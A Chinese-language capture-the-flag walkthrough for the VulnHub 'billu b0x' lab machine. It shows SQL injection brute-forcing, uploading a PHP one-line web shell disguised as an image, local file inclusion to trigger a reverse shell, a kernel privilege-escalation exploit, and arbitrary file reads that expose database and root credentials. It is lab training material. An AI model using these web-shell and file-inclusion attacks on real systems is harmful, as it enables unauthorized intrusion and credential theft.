靶机:https://www.vulnhub.com/entry/billu-b0x,188/
难度:中
目标:获取root权限
备注:导入靶机时保留原始MAC地址不变(包含所有网卡的MAC地址)
方法一
主机发现
1 | sudo arp-scan -l |

端口扫描
1 | sudo nmap -p- 192.168.1.108 |

服务探测
1 | sudo nmap -p22,80 -sV -sC 192.168.1.108 |

访问80端口
页面提示使用SQL注入
SQL注入

进行了简单的手动注入测试,并没有在页面发现有用的回显信息

burp抓包放到sqlmap跑一下(并未能跑出想要的结果)
1 | sqlmap -r 1.txt --batch --random-agent --level=3 |

把数据包发送至Intruder模块尝试爆破

选取针对SQL注入的字典**/SecLists-2021.4/Fuzzing/SQLi/Generic-SQLi.txt和Burp专业版自带的SQL注入字典**


再结合之前登录错误的提示Try again进行筛选配置


筛选后看到页面响应为You are allowed


将请求内容填入登陆窗口成功登陆

发现页面有查看用户和添加用户两个功能


添加用户这里存在上传点,看是否存在文件上传漏洞
文件上传
创建一句话木马a.php
1 | <?php system($_GET["cmd"]);?> |


提示只能上传png,jpg格式
看服务端是否只是根据扩展名来检验

尝试修改文件格式、文件类型和文件头后成功上传

重新查看用户列表

尝试访问图片发现确实存在该文件

访问/uploaded_images目录

目录扫描
1 | dirsearch -u http://192.168.1.108 |

访问add.php和add发现和刚才的添加用户界面一致,猜测在添加用户界面可能是调用了这俩个页面
抓取访问添加用户界面的请求数据包

猜测load参数的值即为请求页面,是否存在本地的文件包含呢?
文件包含
进行简单的测试
load参数正常请求add 页面正常返回

load参数请求adddddd 页面返回为空

load参数请求../../../../etc/passwd 成功访问到/etc/passwd文件

此时再尝试能否结合文件包含漏洞访问之前上传的一句话木马(路径/uploaded_images/a.png)
load参数请求http://192.168.1.108/uploaded_images/a.png?cmd=id 返回为空

load参数请求uploaded_images/a.png?cmd=id 返回依然为空

思考:是否服务端不能解析刚才上传的一句话木马呢?
尝试:重新上传反弹shell的图片木马(/usr/share/webshells/php/php-reverse-shell.php)


仍然添加图片头部

以及修改配置为kali的ip和监听端口

Forward成功上传

路径下也确实存在了b.png

本地监听4444端口

Burp内重新提交 load参数请求uploaded_images/b.png 的数据包 看服务端能否成功解析
成功反弹shell并优化 用户为普通权限

内核提权
1 | uname -a |

有印象之前这个内核版本可以直接提权 使用kali搜索该内核版本提权利用脚本

exp.c目录下启动http服务再在目标上利用wget获取exp.c


gcc编译exp.c为二进制文件并赋予其执行权限

提权成功
方法二
回到目录扫描结果

任意文件读取
访问/test.php

页面提示file参数为空 请提供文件路径
尝试构造test.php?file=/etc/passwd和?file=../../../../etc/passwd 返回结果不变


尝试改变GET请求方式为POST请求方式重新执行后 成功读取了/etc/passwd文件


再次尝试file参数后能否请求其他类型的值或者文件
如访问之前的add.php 成功读取到了add.php的源代码

也就意味着可以利用此漏洞读取目标服务器上的所有文件的源代码
试着读取主页面文件index.php 成功读取

代码审计
1 | if(isset($_POST['login'])) |
配置文件读取
继续读取c.php发现其是数据库连接配置文件 得到了数据库账号密码库名等信息

访问之前的目录扫描结果\phpmy\ 发现数据库后台

输入刚才获取到的账号billu密码b0x_billu成功登陆
在auth表内发现新的一组用户名密码 经验证发现是index.php页面的用户名biLLu密码hEx_it

继续对/phpmy/目录下的文件进行爬取
1 | dirsearch -u http://192.168.1.108/phpmy/ |

访问配置文件config.inc.php 发现用户名密码

经验证发现是目标的root用户的账号密码
